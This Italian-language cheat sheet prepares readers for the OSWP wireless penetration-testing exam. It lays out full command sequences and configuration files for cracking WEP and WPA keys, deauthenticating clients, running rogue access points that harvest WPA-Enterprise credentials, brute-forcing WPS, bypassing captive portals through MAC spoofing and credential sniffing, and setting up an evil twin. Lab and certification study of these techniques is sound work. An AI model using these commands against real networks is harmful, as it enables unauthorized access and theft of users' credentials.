CHEAT SHEET COMPLETO PER ESAME OSWP (v19)
INDICE
- Reti WEP
- Reti WPA/WPA2(3)-PSK
- Reti WPA/WPA2-Enterprise (WPA-MGT) — due metodi (hostapd-wpe e FreeRADIUS+hostapd-mana)
- Attacco WPS
- Bypass Captive Portal (due tecniche)
- Evil Twin su rete aperta
- Connessione alle reti (tutti i tipi)
- Installazione strumenti
- Appendice errori comuni, riepilogo comandi, risorse
FASE 0: PREPARAZIONE DELL'AMBIENTE
Da rifare all'inizio di ogni scenario e ogni volta che cambi scheda di rete.
0.1 Interfacce e modalità monitor
Warning
airmon-ng start wlan0 non rinomina sempre l'interfaccia in wlan0mon — dipende dal driver, a volte resta wlan0 in monitor mode. Verifica sempre il nome reale prima di procedere. Un "No such device" è quasi sempre questo.
sudo airmon-ng check
sudo airmon-ng check kill # termina NetworkManager/wpa_supplicant che interferiscono
sudo airmon-ng start wlan0 # attiva monitor mode
iwconfig wlan0mon # o il nome reale verificato sopra
sudo systemctl start NetworkManager.
Ripristino a modalità gestita:
0.2 Salvare il MAC address originale
ORIG_MAC=$(ip link show wlan0 | grep link/ether | awk '{print $2}')
echo "Il mio MAC è: $ORIG_MAC"
Note
In monitor mode l'interfaccia mostra spesso un MAC placeholder (02:00:00:00:00:00, 42:00:00:00:00:00). Il MAC fisico salvato qui serve per aireplay-ng -h.
0.3 Test di injection
Atteso:Injection is working!.
Note
Su lab virtuali (mac80211_hwsim) questo test può dare falsi "Found 0 APs" anche con injection funzionante, perché il "mezzo radio" è simulato. Verifica piuttosto con uno scan diretto (airodump-ng) e aireplay-ng -1 0.
0.4 Cambiare canale manualmente (metodo alternativo a iw dev set channel)
Equivalente a sudo iw dev wlan0mon set channel <N> usato altrove in questo documento — intercambiabili.
0.5 Checklist strumenti e wordlist pre-esame
sudo apt update
sudo apt install aircrack-ng hashcat reaver macchanger asleap tshark isc-dhcp-client hcxtools john mdk4
ls -la /usr/share/wordlists/rockyou.txt*
sudo gunzip /usr/share/wordlists/rockyou.txt.gz # se compresso
Important
La VM d'esame potrebbe non avere Internet. Verifica prima che siano tutti presenti: aircrack-ng suite, hashcat, reaver/bully, macchanger, asleap, hostapd-wpe (o hostapd-mana), hcxdumptool, hcxpcapngtool, hcxhash2cap, tshark, dhclient, mdk4, john. Vedi Fase 8 per l'installazione da sorgente dei tool non pacchettizzati.
Verifica hashcat (ARM/Kali):
Caution
No devices found/left è tipico su Kali arm64: il pacchetto pocl-opencl-icd è stato rimosso dai repo Kali e ocl-icd-libopencl1 da solo non basta. Non contarci come piano principale: usa aircrack-ng per WEP/WPA-PSK e asleap per l'Enterprise, entrambi CPU-native.
Verifica dhclient:
Note
Le Kali recenti non includono più dhclient di default — serve nella Fase 7 per le connessioni via wpa_supplicant, dove NetworkManager va tenuto spento.
FASE 1: RICOGNIZIONE
1.1 Scansione completa
Opzioni utili:--band abg, --manufacturer, --wps, -c <canale>, --bssid <BSSID>.
1.2 Colonne principali
| Colonna | Significato |
|---|---|
| BSSID | MAC dell'AP |
| PWR | Potenza segnale (vicino a 0 = forte) |
| Beacons | Beacon ricevuti |
| #Data | Pacchetti dati |
| CH | Canale |
| MB | Velocità massima |
| ENC | Cifratura (WEP/WPA/WPA2/OPN) |
| CIPHER | TKIP/CCMP |
| AUTH | PSK/MGT/OPN/SAE |
| WPS | WPS abilitato (0.0 = assente/sconosciuto) |
| ESSID | Nome rete |
Note
Se AUTH mostra vuoto/PSK senza versione esplicita accanto, è probabile WPA1 (non WPA2) — annotalo, cambia la stringa proto nel file di connessione (Fase 7).
1.3 Smistamento per scenario
- WEP (
ENC: WEP) → priorità alta, facile da craccare - WPA/WPA2/WPA3 PSK/SAE (
AUTH: PSK/SAE) → handshake o PMKID - WPA/WPA2 MGT (
AUTH: MGT) → Enterprise, Rogue AP - WPS (
WPS: Yesinwash) → possibile brute-force - Reti aperte (
ENC: OPN) → Evil Twin o Captive Portal (vedi 2.5)
Important
PSK e MGT mostrano entrambi ENC: WPA2 CCMP — la differenza sta solo nella colonna AUTH. Confonderli ti manda a inseguire un handshake su una rete Enterprise (dove non esiste) o viceversa. Controllala sempre prima di iniziare.
Tip
Non tutte le reti in scansione sono target reali — alcune sono solo rumore di fondo senza nessun client che si connette mai. Sintomo: #Data fisso a 0 e STATION sempre vuota anche dopo 10+ minuti. Verifica velocemente prima di investire tempo:
1.4 SSID nascosti
Rivelare l'ESSID da un BSSID noto (basta attendere un probe/associazione, oppure forzarla):
Bruteforce dell'ESSID nascosto con mdk4 (se non compare passivamente):
1.5 Cattura mirata (bloccando il canale)
Blocca il canale per evitare che l'hopping automatico faccia perdere pacchetti cruciali (handshake, IV).Warning
Se hai un airodump-ng in hopping e un aireplay-ng mirato sulla stessa interfaccia in parallelo, si contendono il canale — loop di "wlan0mon is on channel X, but the AP uses channel Y". Usa interfacce diverse o ferma l'hopping mentre attacchi.
Caution
aireplay-ng non cambia mai canale da solo — resta bloccato su quello impostato l'ultima volta su quell'interfaccia. Riusando la stessa interfaccia (es. wlan1mon) su target a canali diversi, è facilissimo lanciare un deauth che silenziosamente non raggiunge mai l'AP. Prima di ogni deauth:
airodump-ng -c <CH> --bssid <BSSID> wlan1mon sulla stessa interfaccia subito prima — il canale viene "ereditato" anche da aireplay-ng. Controlla sempre che "on channel X" corrisponda al target.
FASE 2: ATTACCHI SPECIFICI
2.1 RETI WEP
Servono ~40.000 IV per craccare la chiave.
STEP 1 — Identificare la rete
STEP 2 — Avviare la cattura IV
STEP 3 — Generare traffico
Opzione A — ARP Replay (con client/traffico esistente, consigliata):
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon
# forma equivalente alternativa:
sudo aireplay-ng --arpreplay -b <BSSID> -h $ORIG_MAC wlan0mon
Opzione B — Fake Authentication (nessun client associato, va fatta prima dell'ARP replay):
sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon
Note
Il MAC usato in -h può essere spoofato a piacere (es. 02:00:00:00:00:00), non deve essere necessariamente il tuo reale.
Opzione C — Nessun traffico da rilanciare, nessun client (ChopChop/Fragmentation):
# ChopChop
sudo aireplay-ng -4 -b <BSSID> -h $ORIG_MAC wlan0mon
sudo packetforge-ng -0 -a <BSSID> -h $ORIG_MAC -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-<data>.xor -w arp-request
sudo aireplay-ng -2 -r arp-request wlan0mon
# Fragmentation (alternativa, spesso più veloce)
sudo aireplay-ng -5 -b <BSSID> -h $ORIG_MAC wlan0mon
# poi packetforge-ng come sopra sul .xor generato
#Data.
STEP 4 — Monitorare la raccolta IV fino a ~40.000 in #Data.
STEP 5 — Craccare
Nessuna dipendenza da hashcat/OpenCL.2.2 RETI WPA/WPA2(3)-PSK
STEP 1 — Ricognizione + cattura sul target
sudo airodump-ng --band abg wlan0mon # canale/BSSID
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w wpa_capture wlan0mon
STEP 2 — Deauth
sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon # mirato, consigliato
sudo aireplay-ng -0 5 -a <BSSID> wlan0mon # broadcast, rumoroso
STEP 3 — Verificare l'handshake: cerca WPA handshake: <BSSID> in alto a destra in airodump-ng. Compare anche EAPOL nella colonna Notes della tabella STATION. Se non appare, ripeti il deauth (-0 10) o cambia client.
STEP 3bis — Alternativa clientless: attacco PMKID
Utile se non c'è nessun client da deautenticare:
sudo iw dev wlan0mon set channel <CH>
sudo hcxdumptool -i wlan0mon -w capture.pcapng
# CTRL+C dopo qualche minuto
hcxpcapngtool -o hash_pmkid.hc22000 capture.pcapng
Warning
hcxdumptool non fa channel hopping automatico — fissa il canale prima. La sintassi del flag di output è cambiata più volte tra versioni (-o, --pcapngout=, ora di nuovo -w): se ottieni unrecognized option, verifica con hcxdumptool -h | grep -E "^\s*-w|^\s*-o". --enable_status è stato rimosso: lo status live compare ora automaticamente.
Caution
aircrack-ng non legge il formato .hc22000 (proprietario di hashcat). Serve riconvertirlo in .cap con hcxhash2cap:
hcxhash2cap --pmkid-eapol=hash_pmkid.hc22000 -c converted.cap
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt converted.cap
hcxhash2cap manca: sudo apt install hcxtools -y. Se hai un hashcat funzionante, salta la conversione e usa -m 22000 direttamente (STEP 5bis sotto).
Tip
Nel summary di hcxpcapngtool il campo weak candidate...: 12345678 è un segnaposto sempre presente, non una password recuperata — ignoralo. L'attacco PMKID clientless funziona solo se l'AP include il PMKID nella risposta di associazione (caching PMKSA abilitato): non tutti gli AP lo fanno. Se dopo diversi minuti hai solo EAPOL M1 senza M2/M3/M4 e "no hashes written", serve un handshake completo con client reale.
STEP 4 — Cracking primario: aircrack-ng (CPU-native, nessuna dipendenza OpenCL — obbligatorio su Kali arm64)
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa_capture-01.cap
# oppure, con wordlist ridotta per velocità in fase di test:
sudo aircrack-ng -w /root/rockyou-top100000.txt wpa_capture-01.cap
STEP 4bis/5bis — Alternativa con GPU/OpenCL funzionante
hcxpcapngtool -o hash_handshake.hc22000 wpa_capture-01.cap
sudo hashcat -m 22000 hash_handshake.hc22000 /usr/share/wordlists/rockyou.txt
sudo hashcat -m 22000 hash_handshake.hc22000 --show
STEP 6 — Connessione e proof: vedi Fase 7 e Fase 3.2 finale.
2.3 RETI WPA/WPA2-ENTERPRISE (WPA-MGT)
Richiede un Rogue Access Point per intercettare le credenziali EAP. Lo scenario più delicato del cheat sheet. Due metodi equivalenti nell'obiettivo, diversi nell'esecuzione: Metodo A (hostapd-wpe), più semplice e quello storicamente usato nel corso PEN-210; Metodo B (FreeRADIUS + hostapd-mana), più elaborato, utile come alternativa o quando serve clonare un certificato reale per tentare di aggirare client che validano la CA.
STEP 1 — Identificare il target: cerca AUTH: MGT.
Important
Non tutte le reti MGT sono attaccabili con un Rogue AP semplice. Il metodo EAP interno determina tutto:
- MSCHAPv2 / GTC / MD5 → il downgrade forzato da hostapd-wpe/hostapd-mana funziona, ottieni credenziali in chiaro o challenge/response. I metodi sotto coprono questo caso.
- EAP-TLS puro, o PEAP/TTLS con verifica del certificato server attiva → il Rogue AP con certificato self-signed generico non funziona per lo stesso identico motivo (tunnel TLS esterno con verifica cert). Non conta il numero di metodo EAP mostrato, conta se il client valida il certificato. Il Metodo B sotto (clonazione dei campi del certificato reale) è un ultimo tentativo per questi casi, ma non è garantito funzioni se il client fa pinning del certificato/chiave pubblica (non solo dei campi anagrafici).
Riconoscilo dal log di hostapd-wpe/hostapd-mana:
STA ... Supplicant used different EAP type: 13 (TLS) ← o 25 (PEAP), stesso esito
SSL: SSL3 alert: read (remote end reported an error):fatal:unknown CA ← segnale decisivo
unknown CA, il Rogue AP funziona correttamente — è quel target specifico a essere fuori portata per un semplice self-signed. Prova il Metodo B, oppure cambia target (spesso in un lab/esame coesistono reti Enterprise con configurazioni diverse apposta per testare questa distinzione).
Tip
Se esistono due AP con lo stesso ESSID Enterprise (BSSID diversi, visto spesso nei lab), il client potrebbe agganciarsi a uno qualsiasi dei due dopo il deauth — deautentica entrambi i BSSID, non solo quello che hai osservato per primo.
METODO A — hostapd-wpe (consigliato, più rapido)
STEP 2 — Configurazione completa
Caution
L'interfaccia va usata in modalità gestita, mai in monitor mode. hostapd-wpe con driver nl80211 gestisce da solo il passaggio a modalità AP — puntarlo su wlan0mon produce "Invalid HW-addr family" o "key not allowed" / "Failed to set beacon parameters". Prima di scrivere il conf:
interface=wlan0
driver=nl80211
ssid=CorporateWiFi
channel=6
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever2changeme
Caution
ssid=CorporateWiFi è solo un ESEMPIO — sostituiscilo sempre con l'ESSID esatto del target. Errore subdolo: hostapd-wpe parte senza errori, l'AP è visibile e sul canale giusto, ma nessun client si connette perché cerca un nome diverso. Verifica sempre dopo l'avvio:
Caution
channel e hw_mode devono combaciare con banda e canale reali del target. L'unico indicatore affidabile della banda è il numero di canale (non il suffisso "e" nella colonna MB, che indica solo supporto QoS):
CH in airodump-ng |
Banda | hw_mode |
|---|---|---|
| 1–14 | 2.4 GHz | b o g |
| 36–165 | 5 GHz | a |
| 1–6 (WiGig, raro) | 60 GHz | ad |
Per un target 5GHz canale 44: channel=44 / hw_mode=a. Se ottieni un errore di dominio regolatorio: sudo iw reg set US.
Tabella completa hw_mode:
| Valore | Standard | Banda | Frequenza | Note |
|---|---|---|---|---|
b |
802.11b | 2.4 GHz | 2412–2484 MHz | Solo DSSS/CCK, max 11 Mbps |
g |
802.11g | 2.4 GHz | 2412–2484 MHz | OFDM. Usalo per canale 1-14 |
a |
802.11a | 5 GHz | 5170–5825 MHz | OFDM. Usalo per canale ≥36 |
ad |
802.11ad (WiGig) | 60 GHz | 58–70 GHz | Rarissimo in scenari OSWP |
any |
— | — | — | Da evitare, meglio essere espliciti |
Note
hw_mode indica solo la banda/PHY di base. 802.11n/ac/ax si abilitano con flag aggiuntivi (ieee80211n=1, ieee80211ac=1) sopra la banda base. Per un Rogue AP, hw_mode=g/hw_mode=a da soli bastano quasi sempre.
Caution
Se hostapd-wpe fallisce con:
OpenSSL: tls_read_pkcs12 - Failed to use PKCS#12 file error:0D0680A8:asn1 encoding routines:ASN1_CHECK_TLEN:wrong tag
/etc/hostapd-wpe/certs/ sono spesso in un formato che OpenSSL 3.x non parsa più. Rigenerali:
cd /etc/hostapd-wpe/certs
sudo openssl req -x509 -newkey rsa:2048 -keyout ca.key -out ca.pem -days 3650 -nodes -subj "/CN=hostapd-wpe-CA"
sudo openssl req -newkey rsa:2048 -keyout server.key -out server.csr -nodes -subj "/CN=hostapd-wpe"
sudo openssl x509 -req -in server.csr -CA ca.pem -CAkey ca.key -CAcreateserial -out server.pem -days 3650
private_key_passwd dal conf, altrimenti hostapd-wpe prova come fallback a leggere il file come PKCS#12 e produce lo stesso errore anche con certificati validi.
STEP 3 — Avviare il Rogue AP
STEP 4 — Deauth dei client dal target legittimo
Warning
-a vuole SEMPRE il BSSID dell'AP, -c il MAC del client — facili da scambiare guardando la tabella STATION. Scambiarli produce "No such BSSID available" in loop.
-c l'attacco è broadcast (deautentica tutti i client dell'AP). Usa un'interfaccia diversa da quella del Rogue AP per il deauth (quella del Rogue è occupata in modalità AP).
STEP 5 — Catturare le credenziali
Note
hostapd-wpe non scrive in /var/log/hostapd.log di default, ma in hostapd-wpe.log nella directory da cui l'hai lanciato.
Se il client supporta EAP-GTC oltre a MSCHAPv2, hostapd-wpe forza il downgrade a GTC ottenendo credenziali in chiaro direttamente nel log, senza cracking. Controlla sempre prima lì. Se il client usa solo MSCHAPv2, ottieni una tripla username:challenge:response.
Tip
Se il Rogue AP è configurato correttamente ma il client non si riassocia dopo il deauth, alcuni client si riconnettono solo periodicamente. Ripeti il deauth nel tempo:
e tienihostapd-wpe.log sotto tail -f continuo. Verifica comunque per primo il canale sull'interfaccia di attacco.
Note
Clonare anche il BSSID (non solo l'SSID) può servire per client "pinnati" su un BSSID specifico via PMKSA cache. Su lab virtuali (mac80211_hwsim) impostare lo stesso MAC su due interfacce spesso fallisce a livello driver — limite del simulatore. Nella maggior parte dei casi reali basta l'SSID identico; il BSSID cloning è un'ultima risorsa.
STEP 6 — Craccare con asleap (primario)
STEP 6bis — Hashcat (solo se hashcat -I mostra un device)
# -m 5500 = MSCHAPv2/NetNTLMv1 — NON 16800/22000 (quelli sono per WPA-PSK PMKID/handshake)
sudo hashcat -a 0 -m 5500 hash_enterprise.txt /usr/share/wordlists/rockyou.txt --force
METODO B — FreeRADIUS + hostapd-mana (alternativo, con clonazione del certificato reale)
Utile come percorso alternativo, o quando il Metodo A fallisce per unknown CA e si vuole tentare di replicare i campi anagrafici del certificato reale (funziona solo contro client che non fanno vero pinning di chiave pubblica/firma, solo controllo dei campi — non garantito).
Installazione:
sudo apt update
sudo apt install freeradius freeradius-utils libssl-dev libnl-3-dev libnl-genl-3-dev
git clone https://github.com/sensepost/hostapd-mana.git
cd hostapd-mana/hostapd
make
sudo make install
STEP 2 — Catturare l'handshake/PMKID per ottenere l'identity e il certificato reale del target (stessa procedura della 2.3 STEP base: cattura mirata + deauth):
sudo airodump-ng --band abg -c <CH> --bssid <BSSID> -w enterprise wlan0mon
sudo aireplay-ng -0 4 -a <BSSID> -c <CLIENT_MAC> wlan0mon
STEP 3 — Estrarre identity e certificato dal .cap con Wireshark:
1. Apri il .cap in Wireshark, filtro eap.code==2 → trova il pacchetto Response, Identity, espandi Extensible Authentication Protocol → campo Identity (es. CONTOSO\juan.tr).
2. Filtro tls.handshake.certificate → espandi Transport Layer Security → Certificate → tasto destro sul campo Certificate → Export Packet Bytes (o copia con CTRL+SHIFT+X) → salva come cert.der.
STEP 4 — Leggere le informazioni del certificato reale:
AnnotaIssuer/CA (country, state, org, CN, email) e i dati del Subject/Server.
STEP 5 — Modificare i template CA/server di FreeRADIUS con quei dati esatti:
cd /etc/freeradius/3.0/certs
nano ca.cnf # sezione [certificate_authority]: countryName, stateOrProvinceName, localityName, organizationName, emailAddress, commonName
nano server.cnf # sezione [server]: stessi campi, lato server
STEP 6 — Rigenerare i parametri Diffie-Hellman:
Note
Un errore tipo make: *** [Makefile:120: client.crt] Error 1 per mismatch di countryName tra CA e richiesta è normale e ignorabile — serve solo dh rigenerato correttamente.
STEP 7 — Creare il file utenti EAP (mana.eap_user, formato fisso):
* PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "pass" [2]
STEP 8 — Configurazione del Rogue AP (network.conf):
ssid=<ESSID_TARGET>
interface=wlan0
driver=nl80211
channel=<CH>
hw_mode=a # o g, in base al canale — vedi tabella hw_mode sopra
ieee8021x=1
eap_server=1
eapol_key_index_workaround=0
eap_user_file=/etc/hostapd-mana/mana.eap_user
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
private_key_passwd=whatever
dh_file=/etc/freeradius/3.0/certs/dh
auth_algs=1
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
mana_wpe=1
mana_credout=/tmp/hostapd.credout
mana_eapsuccess=1
mana_eaptls=1
Caution
Stessi fix critici del Metodo A si applicano qui: interfaccia in modalità gestita (non monitor), ssid/channel/hw_mode corrispondenti al target reale, verifica post-avvio.
STEP 9 — Avviare il Rogue AP:
STEP 10 — Deauth (da un'interfaccia diversa, già sul canale giusto — vedi nota sui conflitti di canale in Fase 1.5):
STEP 11 — Raccogliere le credenziali: il log di hostapd-mana mostra in tempo reale l'identity e, per MSCHAPv2, la riga pronta per asleap:
MANA EAP Identity Phase 1: CONTOSO\juan.tr
MANA EAP EAP-MSCHAPV2 ASLEAP user=juan.tr | asleap -C d0:3b:8d:7b:22:00:a0:91 -R 68:09:13:ac:e8:df:36:5f:42:94:fb:97:91:05:b2:21:72:ff:b3:ce:c0:ca:26:f7
MANA EAP EAP-MSCHAPV2 HASHCAT | juan.tr::::680913ace8df365f4294fb979105b22172ffb3cec0ca26f7:d03b8d7b2200a91
asleap mostrato, aggiungendo -W <wordlist>:
Alternativa Hashcat (se asleap non trova la password), usando la riga HASHCAT del log direttamente come contenuto di un file hashfile:
2.4 ATTACCO WPS
STEP 1 — Identificare AP con WPS
STEP 2 — Reaver
-K 1 = Pixie Dust (richiede pixiewps a parte, verifica con which pixiewps), -d 2, -t 5, -N, -L.
STEP 3 — Se si blocca: riprova con -K 1, o attendi 5-10 minuti di lockout.
STEP 4 — Se Reaver fallisce, Bully
2.5 BYPASS DEL CAPTIVE PORTAL
Una rete ENC: OPN può nascondere due tipi di captive portal molto diversi, e non lo sai finché non ci provi:
- Tipo A — Whitelist MAC: passa traffico reale solo ai MAC già "visti" autenticarsi. Bypass: rubi il MAC di un client autorizzato.
- Tipo B — Login applicativo reale (form HTML): il MAC non conta, serve una credenziale valida. Bypass: sniffing passivo delle credenziali in chiaro (su OPN il traffico HTTP di qualunque client è leggibile in aria, anche senza essere associati).
STEP 0 — Diagnosi: quale dei due?
sudo airmon-ng stop wlan0mon
sudo ip link set wlan0 up
nmcli dev wifi connect <ESSID>
ip addr show wlan0
ip route | grep default # annota l'IP del gateway
http://<IP_GATEWAY>/ nel browser.
Important
Se vieni rediretto a un form con Username + Password → Tipo B, il MAC spoofing da solo NON funzionerà, salta direttamente alla Tecnica B. Se ti chiede solo di accettare termini o hai già accesso senza fare nulla → probabile whitelist MAC, prova la Tecnica A.
TECNICA A — Whitelist MAC
sudo airmon-ng start wlan0
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w captive_capture wlan0mon
STATION il MAC con più Frames (client verosimilmente autorizzato):
CLIENT_MAC="11:22:33:44:55:66"
sudo airmon-ng stop wlan0mon
sudo systemctl stop NetworkManager
sudo ip link set wlan0 down
sudo macchanger -m $CLIENT_MAC wlan0
sudo ip link set wlan0 up
sudo systemctl start NetworkManager
nmcli dev wifi connect <ESSID>
ip addr show wlan0
sudo dhclient wlan0 # se serve forzare il DHCP
ping <IP_GATEWAY>
curl http://<IP_GATEWAY>/proof.txt
Note
Se il client legittimo è ancora connesso, avrai un conflitto di MAC duplicati — deautenticalo prima (aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC>, richiede monitor mode). Se resti bloccato sul login nonostante il MAC corretto, è comunque Tipo B → Tecnica B. Se la rete usa 802.1X (MGT), questa tecnica non si applica (vedi 2.3).
TECNICA B — Sniffing delle credenziali in chiaro
sudo airmon-ng start wlan0
sudo airodump-ng --band abg wlan0mon # annota BSSID e CH del target
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w captive_sniff wlan0mon
Note
L'output è esadecimale, non testo — è normale, http.file_data restituisce byte grezzi. Decodifica:
Usa le credenziali decodificate sul form di login nel browser. Se la flag non appare a schermo, recuperala via terminale mantenendo i cookie di sessione:
curl -c cookies.txt -d "Username=<user>&Password=<pass>&Submit=Login" http://<IP_GATEWAY>/login.php
curl -b cookies.txt http://<IP_GATEWAY>/index.php
curl -b cookies.txt http://<IP_GATEWAY>/proof.txt
Tip
Alternativa via GUI: wireshark captive_sniff-01.cap, filtro http.request.method == "POST", tasto destro su un pacchetto → Follow → HTTP Stream — decodifica automatica, senza xxd.
Riepilogo rapido
| Situazione osservata | Tecnica |
|---|---|
| Nessun form, solo redirect/blocco generico | A — MAC spoofing |
| Form con Username + Password | B — Sniffing credenziali |
| A non funziona nonostante MAC corretto | Prova B |
| Obiettivo è "intercetta le credenziali di un utente" | B, sempre |
2.6 EVIL TWIN SU RETE APERTA
Routing opzionale:sudo ifconfig at0 up
sudo ifconfig at0 192.168.1.1 netmask 255.255.255.0
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo apt install dnsmasq
cat > dnsmasq.conf << EOF
interface=at0
dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
log-queries
log-facility=/var/log/dnsmasq.log
EOF
sudo dnsmasq -C dnsmasq.conf
FASE 7: CONNESSIONE ALLE RETI (tutti i tipi)
Prima di ogni config: assicurati che l'interfaccia sia in modalità gestita, non monitor (sudo airmon-ng stop wlan0mon).
Rete aperta:
sudo ip link set wlan0 up
sudo iw dev wlan0 connect <ESSID> # alternativa diretta senza wpa_supplicant
sudo dhclient wlan0
wpa_supplicant:
WPA/WPA2/WPA3-PSK (CCMP):
network={
ssid="<ESSID>"
psk="<PASSWORD>"
scan_ssid=1
key_mgmt=WPA-PSK
proto=RSN
pairwise=CCMP
group=CCMP
}
Note
scan_ssid=1 forza la ricerca attiva, utile anche per SSID nascosti. proto si imposta in base alla versione rilevata in scansione: WPA (v1), RSN/WPA2 (v2); per WPA3/SAE puro usa key_mgmt=SAE al posto di WPA-PSK (su reti miste WPA2/WPA3 spesso WPA-PSK resta comunque accettato in fallback).
WPA-PSK (TKIP, reti WPA1): come sopra ma proto=WPA, pairwise=TKIP, group=TKIP.
sudo wpa_supplicant -B -i wlan0 -c wpa_supplicant.conf
sudo dhclient wlan0
ip addr show wlan0
ping 192.168.1.1
Rete WEP:
Note
La chiave WEP in esadecimale va in minuscolo e senza i due punti separatori (il maiuscolo funziona comunque, ma non i due punti).
sudo wpa_supplicant -i wlan0 -c wep.conf
sudo dhclient wlan0 -v
# alternativa diretta senza wpa_supplicant:
sudo iw dev wlan0 connect <ESSID> key 0:<WEP_KEY>
sudo dhclient wlan0
WPA-Enterprise:
network={
ssid="<ESSID>"
scan_ssid=1
key_mgmt=WPA-EAP
eap=PEAP
identity="<DOMINIO\username>"
password="<PASSWORD>"
phase1="peaplabel=0"
phase2="auth=MSCHAPV2"
}
Cambiare il MAC address (riepilogo generale, già visto negli scenari specifici):
sudo systemctl stop network-manager
sudo ip link set wlan0 down
sudo macchanger -m <NEW_MAC> wlan0
sudo ip link set wlan0 up
Tip
Se fallisce, controlla: nome interfaccia sbagliato, oppure interfaccia ancora in monitor mode (sudo airmon-ng stop <int> per riportarla gestita).
Note
Se dhclient manca: sudo apt install isc-dhcp-client. Per reti aperte/WEP/PSK puoi anche usare nmcli dev wifi connect <ESSID> (gestisce da solo il DHCP), ma per Enterprise e WEP via iw dev connect conviene avere dhclient disponibile.
Recuperare il proof.txt
ip route | grep default
curl http://192.168.1.1/proof.txt
wget http://192.168.1.1/proof.txt
cat proof.txt
flag.txt e index.php (a volte la flag appare solo dopo login, vedi 2.5 Tecnica B), o curl -k https://... se serve HTTPS.
Documentazione (obbligatoria)
Screenshot per ogni scenario: scansione con BSSID/ESSID target, cattura handshake/IV/credenziali, comando di cracking con la chiave trovata, connessione (ip addr), download del proof.txt, contenuto del proof.txt.
FASE 8: INSTALLAZIONE STRUMENTI (da sorgente/apt, se mancanti)
# Suite base
sudo apt update
sudo apt install aircrack-ng asleap hashcat john hcxtools tshark isc-dhcp-client macchanger reaver mdk4
# FreeRADIUS (necessario solo per il Metodo B della 2.3)
sudo apt install freeradius freeradius-utils
# hostapd-mana da sorgente (se non pacchettizzato)
sudo apt install libssl-dev libnl-3-dev libnl-genl-3-dev
git clone https://github.com/sensepost/hostapd-mana.git
cd hostapd-mana/hostapd
make
sudo make install
APPENDICE: ERRORI COMUNI
"No such device" per wlan0/wlan0mon
Warning
Il nome dell'interfaccia in monitor mode potrebbe essere rimasto wlan0 invece di diventare wlan0mon.
"Permission denied"
"Device or resource busy"
Hashcat: "No devices found/left"
Caution
Su Kali arm64, pocl-opencl-icd è stato rimosso dai repo — non installabile via apt. Usa aircrack-ng/asleap come da Fase 0.5. Se hai comunque un backend funzionante:
"sudo: dhclient: comando non trovato"
sudo apt install isc-dhcp-client -y
sudo dhclient wlan0
# alternativa senza installare nulla, se NetworkManager è attivo:
nmcli dev wifi connect <ESSID>
"No handshake captured" in aircrack-ng
sudo aireplay-ng -0 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
# alternativa clientless:
sudo hcxdumptool -i wlan0mon -w capture.pcapng
hcxpcapngtool -o hash.hc22000 capture.pcapng
hcxhash2cap --pmkid-eapol=hash.hc22000 -c converted.cap
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt converted.cap
"No IVs gathered" in aircrack-ng (WEP)
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon
sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
# se nessun client/traffico:
sudo aireplay-ng -4 -b <BSSID> -h $ORIG_MAC wlan0mon # chopchop
sudo aireplay-ng -5 -b <BSSID> -h $ORIG_MAC wlan0mon # fragmentation
"Memory allocation failed" in Hashcat: aumenta RAM VM o usa wordlist più piccola (solo se hashcat ha un backend funzionante).
"Injection is working: NO" / "Found 0 APs" con aireplay-ng -9: verifica monitor mode reale, driver, e nessun altro processo attivo sull'interfaccia. Su lab virtuali può dare falsi negativi — verifica con scan diretto e aireplay-ng -1 0.
aireplay-ng in loop su "wlan0mon is on channel X, but the AP uses channel Y": un altro processo (tipicamente airodump-ng in hopping) sulla stessa interfaccia sta cambiando canale. Usa un'interfaccia diversa o ferma lo scan hopping.
Captive portal: MAC spoofing non funziona: non tutti i portali usano whitelist MAC. Se resti bloccato su un form Username/Password, è login applicativo reale → Tecnica B (2.5).
tshark -e http.file_data restituisce hex illeggibile: normale, decodifica con echo "<hex>" | xxd -r -p o Wireshark → Follow → HTTP Stream.
make fallisce su client.crt nel Metodo B (FreeRADIUS): tipicamente un mismatch tra countryName nel CA e nella richiesta — ignorabile se dh viene comunque rigenerato correttamente.
RIEPILOGO COMANDI PRINCIPALI
| Fase | Comando |
|---|---|
| Setup | sudo airmon-ng check kill && sudo airmon-ng start wlan0 |
ORIG_MAC=$(ip link show wlan0 \| grep link/ether \| awk '{print $2}') |
|
sudo aireplay-ng -9 wlan0mon (test injection) |
|
hashcat -I (verifica device PRIMA di contarci) |
|
which dhclient (installa se assente) |
|
| Scansione | sudo airodump-ng --band abg --manufacturer --wps wlan0mon |
| SSID nascosto | sudo airodump-ng --band abg --bssid <mac> wlan0mon |
| SSID nascosto, bruteforce | mdk4 wlan0mon p -t <BSSID> -f <wordlist> |
